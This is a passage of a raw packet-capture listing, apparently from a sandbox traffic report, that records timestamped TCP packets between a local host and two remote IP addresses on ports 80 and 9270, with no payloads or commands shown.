Dec 15, 2024 11:59:50.047365904 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.047414064 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.048705101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.048748016 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.048820972 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.048863888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.049455881 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.049504995 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.049582005 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.049623966 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.050563097 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.050609112 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.050638914 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.050683975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.051676989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.051723957 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.051816940 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.051862001 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.052767038 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.052812099 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.052862883 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.052906990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.053849936 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.053898096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.053951025 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.053992033 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.054956913 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.055001020 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.055053949 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.055097103 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.056085110 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.056137085 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.056178093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.056220055 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.057162046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.057204008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.057250023 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.057291031 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.058279037 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.058331966 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.058371067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.058413029 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.059372902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.059416056 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.059478045 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.059518099 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.060475111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.060517073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.060566902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.060607910 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.061561108 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.061603069 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.061662912 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.061707973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.062693119 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.062733889 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.062772989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.062813044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.063766003 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.063810110 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.063839912 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.063883066 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.083307981 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:50.178107977 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:50.199191093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.199243069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.199378967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.199379921 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.200134993 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.200184107 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.200404882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.200448990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.200886011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.200931072 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.201756001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.201802969 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.202292919 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.202337980 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.202729940 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.202773094 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.202825069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.202866077 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.203448057 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.203491926 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.203521967 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.203568935 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.204205990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.204252958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.204293013 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.204334974 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.205324888 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.205348969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.205375910 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.205410004 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.206500053 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.206547022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.206587076 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.206629992 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.207488060 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.207534075 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.207580090 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.207622051 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.208602905 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.208653927 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.208692074 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.208734035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.209875107 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.209935904 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.209961891 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.210010052 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.210833073 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.210886002 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.210962057 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.211009026 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.211956024 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.212007046 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.212009907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.212060928 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.213145971 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.213196039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.213418007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.213464975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.214138031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.214189053 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.214257002 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.214302063 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.215420961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.215470076 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.215490103 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.215536118 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.216367960 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.216413975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.216480970 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.216528893 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.217458963 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.217508078 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.217550993 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.217596054 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.218508959 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.218560934 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.218625069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.218672991 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.219630003 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.219682932 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.219877005 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.219927073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.220715046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.220762014 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.220829964 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.220879078 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.221827030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.221879005 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.221879005 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.221925020 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.222932100 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.222979069 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.223041058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.223095894 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.224010944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.224071980 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.224138975 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.224185944 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.225152969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.225203037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.225259066 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.225312948 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.226243019 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.226289988 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.226373911 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.226422071 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.227343082 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.227397919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.227421045 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.227471113 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.228426933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.228477955 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.228565931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.228614092 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.229564905 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.229614019 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.229696035 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.229743004 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.230710983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.230767012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.230771065 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.230817080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.231762886 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.231812954 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.231862068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.231900930 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.232822895 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.232872963 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.232956886 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.233006954 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.233933926 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.233983040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.234066963 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.234112024 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.235023975 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.235085964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.235121965 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.235169888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.236150980 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.236201048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.236251116 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.236295938 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.237224102 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.237274885 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.237340927 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.237389088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.238316059 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.238369942 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.238436937 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.238483906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.239419937 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.239471912 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.239538908 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.239588022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.240524054 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.240575075 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.240643024 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.240693092 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.241651058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.241700888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.241746902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.241795063 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.242719889 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.242769957 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.242837906 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.242885113 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.243843079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.243897915 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.243936062 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.243985891 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.244941950 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.244990110 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.245055914 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.245104074 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.246052027 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.246105909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.246162891 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.246212006 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.247148991 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.247199059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.247267962 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.247322083 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.248209953 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.248265028 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.248306990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.248353958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.249321938 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.249372959 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.249456882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.249500990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.250422955 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.250483990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.250550985 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.250682116 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.251532078 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.251589060 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.251650095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.251698971 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.252625942 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.252677917 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.252747059 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.252798080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.253740072 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.253793001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.253798008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.253840923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.254853964 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.254903078 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.254956007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.255002975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.255944014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.255995035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.256063938 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.256108046 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.297971010 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:50.325881958 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:50.391350031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.391467094 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.391537905 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.391537905 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.391928911 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.391983986 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.392043114 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.392092943 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.392954111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.393004894 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.393224001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.393270969 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.394084930 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.394136906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.394191980 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.394243002 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.395121098 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.395169973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.395172119 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.395216942 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.396226883 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.396279097 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.396339893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.396389961 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.397317886 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.397370100 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.397438049 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.397488117 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.398415089 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.398467064 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.398535013 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.398582935 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.399519920 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.399569035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.399626017 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.399673939 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.400650024 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.400700092 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.400784016 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.400831938 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.401726007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.401776075 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.401842117 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.401890039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.402827024 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.402873993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.402955055 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.403002024 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.403987885 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.404058933 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.404059887 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.404110909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.405056000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.405109882 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.405178070 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.405225992 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.406127930 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.406177044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.406243086 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.406287909 CET	49857	80	192.168.2.4	185.215.113.16
